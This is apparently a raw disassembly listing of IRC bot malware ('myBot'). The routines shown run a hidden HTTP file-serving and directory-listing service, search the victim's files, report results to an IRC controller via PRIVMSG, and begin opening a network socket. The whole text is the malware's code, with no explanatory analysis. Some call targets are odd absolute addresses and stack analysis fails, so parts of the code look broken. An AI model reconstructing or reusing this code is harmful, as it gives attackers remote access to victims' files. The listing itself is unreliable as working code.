		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 271158Ah
		nop
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------


loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h


loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CAFC4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------


loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h


loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4CB00C
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------


loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2


loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------


loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------


loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al


loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al


loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D


loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_429998 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 26804D6h
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------


loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi


loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi


loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_433AA8 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------


loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx


loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4CB00C
		jmp	loc_40F963
; ---------------------------------------------------------------------------


loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 26F0867h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2720A09h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 265092Ah


loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_433A74
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43DEB4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		call	near ptr 2670659h
		nop
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40F935


loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		call	near ptr 26705B3h
		nop
		jmp	short loc_40F923
; ---------------------------------------------------------------------------


loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4CB00C
		nop
		call	near ptr 2680000h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_433A3C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_429998 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------


loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------


loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14


loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08


loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4


loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 25C0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	near ptr 2750000h
		nop
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh


loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2730767h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"


loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch


loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------


loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------


loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------


loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_4293C4
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------


loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------


loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi


loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h


loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		call	near ptr 26705B3h
		nop


loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2750000h
		nop
		test	eax, eax
		jnz	loc_40FB8F


loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		call	near ptr 2730000h
		nop
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 26F0867h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		call	near ptr 2720A09h
		nop
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1


loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]


loc_41004D:				; DATA XREF: ___:00437A30o
					; ___:00437A44o
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]


loc_410052:				; CODE XREF: sub_40FFF0:loc_41004Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 26F0000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4CAF08
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax


loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035


loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		call	near ptr 265092Ah
		nop


loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6


loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh


loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0


loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CAEE4
		push	6
		push	1
		push	2
		call	dword_4CAFF4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CAF74
		push	[ebp+arg_10]
